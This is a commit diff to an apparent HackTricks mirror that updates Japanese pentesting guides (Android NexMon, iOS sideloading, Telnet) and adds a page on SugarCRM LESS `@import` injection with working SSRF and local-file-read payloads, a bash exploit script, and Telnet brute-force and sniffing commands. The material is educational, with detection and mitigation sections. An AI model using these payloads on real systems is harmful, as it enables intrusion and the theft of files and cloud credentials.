mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena
This commit is contained in:
parent
915bb68f5b
commit
bc22eeb7de
@ -544,6 +544,7 @@
|
||||
|
||||
# 🕸️ Pentesting Web
|
||||
|
||||
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
|
||||
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
||||
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||
|
@ -1,9 +1,9 @@
|
||||
# NexMonのモニターモードとパケットインジェクションをAndroidで有効にする(Broadcomチップ)
|
||||
# NexMonモニターモードとパケットインジェクションをAndroid(Broadcomチップ)で有効にする
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 概要
|
||||
ほとんどの最新のAndroidフォンは、802.11モニターモードやフレームインジェクション機能なしで出荷されるBroadcom/Cypress Wi-Fiチップセットを内蔵しています。オープンソースのNexMonフレームワークは、これらの機能を追加するために独自のファームウェアをパッチし、それらを共有ライブラリ(`libnexmon.so`)とCLIヘルパー(`nexutil`)を通じて公開します。このライブラリをストックWi-Fiドライバーにプリロードすることで、ルート化されたデバイスは生の802.11トラフィックをキャプチャし、任意のフレームをインジェクトできます。これにより、外部USBアダプターの必要がなくなります。
|
||||
ほとんどの最新のAndroidフォンは、802.11モニターモードやフレームインジェクション機能なしで出荷されるBroadcom/Cypress Wi-Fiチップセットを内蔵しています。オープンソースのNexMonフレームワークは、これらの機能を追加するために独自のファームウェアをパッチし、それらを共有ライブラリ(`libnexmon.so`)とCLIヘルパー(`nexutil`)を通じて公開します。このライブラリをストックWi-Fiドライバーに事前ロードすることで、ルート化されたデバイスは生の802.11トラフィックをキャプチャし、任意のフレームをインジェクトできます。これにより、外部USBアダプターの必要がなくなります。
|
||||
|
||||
このページでは、完全にパッチされたSamsung Galaxy S10(BCM4375B1)を例にした迅速なワークフローを文書化しています。使用するものは以下の通りです:
|
||||
|
||||
@ -22,7 +22,7 @@
|
||||
* 次のものを提供するNexMon Magisk ZIPまたは自己コンパイルしたパッチ:
|
||||
* `/system/lib*/libnexmon.so`
|
||||
* `/system/xbin/nexutil`
|
||||
* Hijacker ≥ 1.7(arm/arm64) – https://github.com/chrisk44/Hijacker
|
||||
* Hijacker ≥ 1.7(arm/arm64) – [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
|
||||
* (オプション)ワイヤレスツールを実行する予定のKali NetHunterまたは任意のLinux chroot
|
||||
|
||||
---
|
||||
@ -53,15 +53,15 @@ nexutil -m0; svc wifi enable
|
||||
```
|
||||
“Start monitor mode on airodump start”を有効にして、すべてのHijackerスキャンがネイティブモニターモード(`wlan0`の代わりに`wlan0mon`)で行われるようにします。
|
||||
|
||||
Hijackerが起動時にエラーを表示する場合は、共有ストレージに必要なディレクトリを作成し、アプリを再起動してください。
|
||||
Hijackerが起動時にエラーを表示した場合は、共有ストレージに必要なディレクトリを作成し、アプリを再度開いてください。
|
||||
```bash
|
||||
mkdir -p /storage/emulated/0/Hijacker
|
||||
```
|
||||
### それらの `nexutil` フラグは何を意味しますか?
|
||||
* **`-s0x613`** ファームウェア変数 0x613 (FCAP_FRAME_INJECTION) を書き込み → `1` (任意のフレームのTXを有効にします)。
|
||||
* **`-i`** インターフェースをモニターモードに設定します (radiotap ヘッダーが前に追加されます)。
|
||||
* **`-v2`** 詳細レベルを設定します; `2` は確認とファームウェアバージョンを表示します。
|
||||
* **`-m0`** 管理モードを復元します ( *disable* コマンドで使用されます)。
|
||||
* **`-s0x613`** ファームウェア変数 0x613 (FCAP_FRAME_INJECTION) を書き込み → `1` (任意のフレームのTXを有効にする)。
|
||||
* **`-i`** インターフェースをモニターモードに設定 (radiotap ヘッダーが前に追加されます)。
|
||||
* **`-v2`** 詳細レベルを設定; `2` は確認とファームウェアバージョンを表示します。
|
||||
* **`-m0`** 管理モードを復元 ( *disable* コマンドで使用)。
|
||||
|
||||
*Enable monitor mode* を実行した後、インターフェースがモニターステートになり、生のフレームをキャプチャできるようになります:
|
||||
```bash
|
||||
|
@ -14,31 +14,31 @@
|
||||
|
||||
### Get it from Apple
|
||||
|
||||
1. ペンテストするアプリをiPhoneにインストールします。
|
||||
1. iPhoneにペンテストするアプリをインストールします。
|
||||
2. macOS内で[Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12)をインストールして起動します。
|
||||
3. Macの`Terminal`を開き、`/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`にcdします。後でこのフォルダにIPAが表示されます。
|
||||
4. あなたのiOSデバイスが表示されるはずです。それをダブルクリックし、上部メニューバーからAdd + → Appsをクリックします。
|
||||
4. iOSデバイスが表示されるはずです。ダブルクリックして、上部メニューバーからAdd + → Appsをクリックします。
|
||||
5. Addをクリックすると、ConfiguratorがAppleからIPAをダウンロードし、デバイスにプッシュしようとします。前に私の推奨に従ってIPAをすでにインストールしている場合、アプリを再インストールするように求めるプロンプトが表示されます。
|
||||
6. IPAは `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` 内にダウンロードされ、そこから取得できます。
|
||||
6. IPAは`/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`内にダウンロードされ、そこから取得できます。
|
||||
|
||||
このプロセスに関する詳細情報は[https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)を確認してください。
|
||||
|
||||
### Decrypting the app
|
||||
|
||||
IPAを復号化するために、インストールします。ただし、古い脱獄iPhoneを持っている場合、アプリケーションがサポートするバージョンではない可能性があります。通常、アプリは最新のバージョンのみをサポートします。
|
||||
IPAを復号化するために、インストールします。ただし、古い脱獄iPhoneを持っている場合、アプリケーションによってサポートされていない可能性があるため、通常、アプリは最新のバージョンのみをサポートします。
|
||||
|
||||
したがって、インストールするには、IPAを解凍するだけです:
|
||||
```bash
|
||||
unzip redacted.ipa -d unzipped
|
||||
```
|
||||
`Info.plist`を確認して、サポートされている最小バージョンを確認し、デバイスがそれより古い場合は、値を変更してサポートされるようにします。
|
||||
`Info.plist`を確認して、サポートされている最小バージョンを確認し、デバイスがそれより古い場合は、その値を変更してサポートされるようにします。
|
||||
|
||||
IPAを再圧縮します:
|
||||
```bash
|
||||
cd unzipped
|
||||
zip -r ../no-min-version.ipa *
|
||||
```
|
||||
次に、例えば以下のコマンドでIPAをインストールします:
|
||||
次に、例えば次のコマンドでIPAをインストールします:
|
||||
```bash
|
||||
ideviceinstaller -i no-min-version.ipa -w
|
||||
```
|
||||
@ -48,11 +48,11 @@ ideviceinstaller -i no-min-version.ipa -w
|
||||
|
||||
### 権限のパッチと再署名
|
||||
|
||||
`get-task-allow` 権限でアプリケーションを再署名するために、`app-signer`、`codesign`、および `iResign` などのいくつかのツールが利用可能です。`app-signer` は、再署名する IPA を指定し、**`get-taks-allow`** を設定し、使用する証明書とプロビジョニングプロファイルを指定する非常に使いやすいインターフェースを持っています。
|
||||
`get-task-allow` 権限でアプリケーションを再署名するために、`app-signer`、`codesign`、および `iResign` のようなツールがいくつか利用可能です。`app-signer` は非常にユーザーフレンドリーなインターフェースを持ち、再署名する IPA ファイルを指定し、**`get-task-allow` を設定し**、使用する証明書とプロビジョニングプロファイルを指定することができます。
|
||||
|
||||
証明書と署名プロファイルに関しては、Apple は Xcode を通じてすべてのアカウントに **無料の開発者署名プロファイル** を提供しています。アプリを作成し、1つを設定してください。その後、`Settings` → `Privacy & Security` に移動し、`Developer Mode` をクリックして **iPhone に開発者アプリを信頼させる** ように設定します。
|
||||
|
||||
再署名された IPA を使用して、デバイスにインストールしてペンテストを行う準備が整いました:
|
||||
再署名された IPA を使用して、デバイスにインストールし、ペンテストを行う準備が整いました:
|
||||
```bash
|
||||
ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
@ -64,9 +64,9 @@ iOS 16以降、Appleは**Developer Mode**を導入しました。`get_task_allow
|
||||
|
||||
1. **任意の**開発者署名されたIPAを電話にインストールまたはプッシュします。
|
||||
2. **設定 → プライバシーとセキュリティ → Developer Mode**に移動し、オンに切り替えます。
|
||||
3. デバイスが再起動します。パスコードを入力した後、Developer Modeを**オンにする**ように求められます。
|
||||
3. デバイスが再起動します。パスコードを入力した後、**Developer Modeをオンにする**ように求められます。
|
||||
|
||||
Developer Modeは、無効にするか電話を初期化するまでアクティブなままであるため、このステップはデバイスごとに一度だけ実行する必要があります。[Appleのドキュメント](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)がセキュリティの影響を説明しています。
|
||||
Developer Modeは、無効にするか電話を初期化するまでアクティブなままですので、このステップはデバイスごとに一度だけ実行する必要があります。[Appleのドキュメント](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device)がセキュリティの影響を説明しています。
|
||||
|
||||
### 現代のサイドロードオプション
|
||||
|
||||
@ -74,10 +74,10 @@ Developer Modeは、無効にするか電話を初期化するまでアクティ
|
||||
|
||||
| ツール | 要件 | 強み | 制限 |
|
||||
|------|--------------|-----------|-------------|
|
||||
| **AltStore 2 / SideStore** | macOS/Windows/Linuxのコンパニオンが7日ごとに無料の開発プロファイルでIPAを再署名 | Wi-Fi経由の自動リロード、iOS 17まで動作 | 同じネットワーク上にコンピュータが必要、Appleによる3アプリ制限 |
|
||||
| **AltStore 2 / SideStore** | IPAを7日ごとに無料の開発プロファイルで再署名するmacOS/Windows/Linuxのコンパニオン | Wi-Fi経由の自動リロード、iOS 17まで動作 | 同じネットワーク上にコンピュータが必要、Appleによる3アプリ制限 |
|
||||
| **TrollStore 1/2** | CoreTrustバグに脆弱なiOS 14 – 15.4.1のデバイス | *永久的*な署名(7日制限なし);インストール後はコンピュータ不要 | iOS 15.5+ではサポートされていない(バグが修正された) |
|
||||
|
||||
現在のiOSバージョンでのルーチンのペンテストには、Alt/Side-Storeが通常最も実用的な選択肢です。
|
||||
現在のiOSバージョンでのルーチンのペンテストには、Alt/Side-Storeが通常最も実用的な選択です。
|
||||
|
||||
### フック / 動的インスツルメンテーション
|
||||
|
||||
@ -93,7 +93,7 @@ frida -U -f com.example.target -l my_script.js --no-pause
|
||||
|
||||
### Jailbreakなしの自動動的分析(MobSF)
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/)は、実際のデバイス上で同じ技術(`get_task_allow`)を使用して、開発者署名されたIPAをインストゥルメント化でき、ファイルシステムブラウザ、トラフィックキャプチャ、Fridaコンソールを備えたWeb UIを提供します【†L2-L3】。最も簡単な方法は、DockerでMobSFを実行し、USB経由でiPhoneを接続することです:
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/)は、実際のデバイス上で同じ技術(`get_task_allow`)を使用して、開発者署名されたIPAをインストゥルメント化でき、ファイルシステムブラウザ、トラフィックキャプチャ、Fridaコンソールを備えたWeb UIを提供します【】。最も簡単な方法は、DockerでMobSFを実行し、USB経由でiPhoneを接続することです:
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
|
@ -13,7 +13,7 @@ Telnetは、ユーザーがネットワークを介してコンピュータに
|
||||
```
|
||||
## **列挙**
|
||||
|
||||
### **バナーグラブ**
|
||||
### **バナーグラビング**
|
||||
```bash
|
||||
nc -vn <IP> 23
|
||||
```
|
||||
@ -23,7 +23,7 @@ nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
|
||||
```
|
||||
スクリプト `telnet-ntlm-info.nse` は NTLM 情報 (Windows バージョン) を取得します。
|
||||
|
||||
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) から: TELNET プロトコルには、ユーザーとサーバーが TELNET 接続のためにより複雑な (または単に異なる) 規約のセットを使用することに合意できるようにするために、"**DO, DON'T, WILL, WON'T**" 構造で使用されるさまざまな "**options**" があります。これらのオプションには、文字セットの変更、エコーモードの変更などが含まれる可能性があります。
|
||||
[telnet RFC](https://datatracker.ietf.org/doc/html/rfc854) より: TELNET プロトコルには、ユーザーとサーバーが TELNET 接続のためにより複雑な(または単に異なる)一連の規約を使用することに合意できるようにするために、"**DO, DON'T, WILL, WON'T**" 構造と共に使用されるさまざまな "**options**" があります。これらのオプションには、文字セットの変更、エコーモードの変更などが含まれる可能性があります。
|
||||
|
||||
**このオプションを列挙することが可能であることは知っていますが、方法がわからないので、知っている場合は教えてください。**
|
||||
|
||||
@ -67,17 +67,17 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
|
||||
|
||||
```
|
||||
### Recent Vulnerabilities (2022-2025)
|
||||
### 最近の脆弱性 (2022-2025)
|
||||
|
||||
* **CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860)**: 内蔵のTelnetサービスはハードコーディングされた認証情報を受け入れ、入力をサニタイズしなかったため、ポート23での作成されたコマンドを介して、ルートとして認証されていないリモートRCEを可能にしました。ファームウェア≥ 1.04B05で修正されました。
|
||||
* **CVE-2023-40478 – NETGEAR RAX30**: Telnet CLI `passwd`コマンドのスタックベースのバッファオーバーフローにより、隣接する攻撃者が認証をバイパスし、ルートとして任意のコードを実行できるようになります。
|
||||
* **CVE-2022-39028 – GNU inetutils telnetd**: 2バイトのシーケンス(`0xff 0xf7` / `0xff 0xf8`)がNULLポインタのデリファレンスを引き起こし、`telnetd`をクラッシュさせる可能性があり、いくつかのクラッシュの後に持続的なDoSを引き起こします。
|
||||
* **CVE-2024-45698 – D-Link Wi-Fi 6 ルーター (DIR-X4860)**: 内蔵の Telnet サービスはハードコーディングされた認証情報を受け入れ、入力のサニタイズに失敗し、ポート 23 で作成されたコマンドを介してルートとして認証されていないリモート RCE を可能にしました。ファームウェア ≥ 1.04B05 で修正済み。
|
||||
* **CVE-2023-40478 – NETGEAR RAX30**: Telnet CLI `passwd` コマンドにおけるスタックベースのバッファオーバーフローにより、隣接する攻撃者が認証をバイパスし、ルートとして任意のコードを実行できる。
|
||||
* **CVE-2022-39028 – GNU inetutils telnetd**: 2 バイトのシーケンス (`0xff 0xf7` / `0xff 0xf8`) が NULL ポインタのデリファレンスを引き起こし、`telnetd` をクラッシュさせ、いくつかのクラッシュの後に持続的な DoS を引き起こす。
|
||||
|
||||
脆弱性のトリアージ中にこれらのCVEを念頭に置いてください。ターゲットがパッチ未適用のファームウェアまたはレガシーinetutils Telnetデーモンを実行している場合、コード実行または破壊的なDoSへの直接的な道があるかもしれません。
|
||||
脆弱性のトリアージ中にこれらの CVE を念頭に置いてください。ターゲットがパッチ未適用のファームウェアまたはレガシー inetutils Telnet デーモンを実行している場合、コード実行や破壊的な DoS への直接的な道があるかもしれません。
|
||||
|
||||
### Sniffing Credentials & Man-in-the-Middle
|
||||
### 認証情報のスニッフィングと中間者攻撃
|
||||
|
||||
Telnetは、認証情報を含むすべてを**平文**で送信します。これをキャプチャするための2つの迅速な方法:
|
||||
Telnet はすべての情報、認証情報を含む、を **平文** で送信します。これをキャプチャするための2つの迅速な方法:
|
||||
```bash
|
||||
# Live capture with tcpdump (print ASCII)
|
||||
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
|
||||
@ -98,7 +98,7 @@ ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
|
||||
# Medusa (parallel hosts)
|
||||
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
|
||||
```
|
||||
ほとんどのIoTボットネット(Miraiバリアント)は、デフォルトの資格情報辞書を使用してポート23をスキャンします。このロジックを反映させることで、脆弱なデバイスを迅速に特定できます。
|
||||
ほとんどのIoTボットネット(Miraiのバリアント)は、デフォルトの資格情報辞書を使用してポート23をスキャンします。このロジックを反映させることで、脆弱なデバイスを迅速に特定できます。
|
||||
|
||||
### 攻撃とポストエクスプロイト
|
||||
|
||||
@ -107,7 +107,7 @@ Metasploitにはいくつかの便利なモジュールがあります:
|
||||
* `auxiliary/scanner/telnet/telnet_version` – バナーとオプションの列挙。
|
||||
* `auxiliary/scanner/telnet/brute_telnet` – マルチスレッドブルートフォース。
|
||||
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` – 脆弱なSolaris 9/10 Telnetに対するRCE(オプションENCRYPTの処理)。
|
||||
* `exploit/linux/mips/netgear_telnetenable` – 多くのNETGEARルーターで作成したパケットを使用してtelnetサービスを有効にします。
|
||||
* `exploit/linux/mips/netgear_telnetenable` – 多くのNETGEARルーターで作成したパケットを使用してTelnetサービスを有効にします。
|
||||
|
||||
シェルを取得した後は、**TTYは通常ダムであることを忘れないでください**;`python -c 'import pty;pty.spawn("/bin/bash")'`でアップグレードするか、[HackTricks TTY tricks](/generic-hacking/reverse-shells/full-ttys.md)を使用してください。
|
||||
|
||||
@ -115,12 +115,12 @@ Metasploitにはいくつかの便利なモジュールがあります:
|
||||
|
||||
1. SSHを優先し、Telnetサービスを完全に無効にします。
|
||||
2. Telnetが必要な場合は、管理VLANにのみバインドし、ACLを強制し、デーモンをTCPラッパー(`/etc/hosts.allow`)でラップします。
|
||||
3. レガシー`telnetd`実装を`ssl-telnet`または`telnetd-ssl`に置き換えてトランスポート暗号化を追加しますが、**これはデータの移動中のみを保護します—パスワード推測は依然として簡単です**。
|
||||
4. ポート23へのアウトバウンドトラフィックを監視します;侵害はしばしばTelnetを介してリバースシェルを生成し、厳格なHTTP出口フィルターを回避します。
|
||||
3. 従来の`telnetd`実装を`ssl-telnet`または`telnetd-ssl`に置き換えてトランスポート暗号化を追加しますが、**これはデータの移動中のみを保護します—パスワード推測は依然として簡単です**。
|
||||
4. ポート23への外向きトラフィックを監視します;侵害はしばしばTelnetを介してリバースシェルを生成し、厳格なHTTP出口フィルターを回避します。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* D-Link Advisory – CVE-2024-45698 クリティカルなTelnet RCE。
|
||||
* NVD – CVE-2022-39028 inetutils `telnetd` DoS。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
75
src/pentesting-web/less-code-injection-ssrf.md
Normal file
@ -0,0 +1,75 @@
|
||||
# LESS Code Injection leading to SSRF & Local File Read
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 概要
|
||||
|
||||
LESSは、変数、ミキシン、関数、強力な`@import`ディレクティブを追加する人気のCSSプリプロセッサです。コンパイル中、LESSエンジンは`@import`ステートメントで参照されたリソースを**取得し**、`(inline)`オプションが使用されると、その内容を生成されたCSSに埋め込みます。
|
||||
|
||||
アプリケーションが**ユーザー制御の入力**をLESSコンパイラによって後で解析される文字列に連結する場合、攻撃者は**任意のLESSコードを注入**できます。`@import (inline)`を悪用することで、攻撃者はサーバーに次のものを取得させることができます:
|
||||
|
||||
* `file://`プロトコルを介したローカルファイル(情報漏洩 / ローカルファイルインクルージョン)。
|
||||
* 内部ネットワークやクラウドメタデータサービス上のリモートリソース(SSRF)。
|
||||
|
||||
この技術は、**SugarCRM ≤ 14.0.0**(`/rest/v10/css/preview`エンドポイント)などの実際の製品で見られました。
|
||||
|
||||
## 悪用
|
||||
|
||||
1. LESSエンジンによって処理されるスタイルシート文字列に直接埋め込まれているパラメータを特定します(例:SugarCRMの`?lm=`)。
|
||||
2. 現在のステートメントを閉じ、新しいディレクティブを注入します。最も一般的なプリミティブは次のとおりです:
|
||||
* `;` – 前の宣言を終了します。
|
||||
* `}` – 前のブロックを閉じます(必要な場合)。
|
||||
3. `@import (inline) '<URL>';`を使用して任意のリソースを読み取ります。
|
||||
4. オプションで、インポートの後に**マーカー**(`data:` URI)を注入して、コンパイルされたCSSから取得したコンテンツの抽出を容易にします。
|
||||
|
||||
### ローカルファイル読み取り
|
||||
```
|
||||
1; @import (inline) 'file:///etc/passwd';
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
`/etc/passwd` の内容は、`@@END@@` マーカーの直前にHTTPレスポンスに表示されます。
|
||||
|
||||
### SSRF – クラウドメタデータ
|
||||
```
|
||||
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
|
||||
@import (inline) 'data:text/plain,@@END@@'; //
|
||||
```
|
||||
### 自動化されたPoC(SugarCRMの例)
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
|
||||
|
||||
TARGET="$1" # Base URL of SugarCRM instance
|
||||
RESOURCE="$2" # file:// path or URL to fetch
|
||||
|
||||
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
|
||||
|
||||
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
|
||||
sed -n 's/.*@@END@@\(.*\)/\1/p'
|
||||
```
|
||||
## Detection
|
||||
|
||||
* 動的に生成された `.less` または `.css` レスポンスに、サニタイズされていないクエリパラメータが含まれているかを確認します。
|
||||
* コードレビュー中に、LESSレンダリング関数に渡される `"@media all { .preview { ... ${userInput} ... } }"` のような構文を探します。
|
||||
* 攻撃の試みには、しばしば `@import`、`(inline)`、`file://`、`http://169.254.169.254` などが含まれます。
|
||||
|
||||
## Mitigations
|
||||
|
||||
* 信頼できないデータをLESSコンパイラに渡さないでください。
|
||||
* 動的な値が必要な場合は、適切に **エスケープ**/サニタイズしてください(例:数値トークンに制限、ホワイトリスト)。
|
||||
* 可能な場合は、`(inline)` インポートの使用を無効にするか、許可されるプロトコルを `https` に制限します。
|
||||
* 依存関係を最新の状態に保ちます – SugarCRMはバージョン13.0.4および14.0.1でこの問題を修正しました。
|
||||
|
||||
## Real-World Cases
|
||||
|
||||
| Product | Vulnerable Endpoint | Impact |
|
||||
|---------|--------------------|--------|
|
||||
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | 認証されていないSSRFおよびローカルファイル読み取り |
|
||||
|
||||
## References
|
||||
|
||||
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
|
||||
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
|
||||
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,7 +1,13 @@
|
||||
# SSRF脆弱なプラットフォーム
|
||||
# SSRF 脆弱なプラットフォーム
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
チェック **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||
|
||||
- SugarCRM ≤ 14.0.0 – LESS `@import` インジェクションが `/rest/v10/css/preview` で認証なしの SSRF とローカルファイルの読み取りを可能にします。
|
||||
|
||||
{{#ref}}
|
||||
../less-code-injection-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user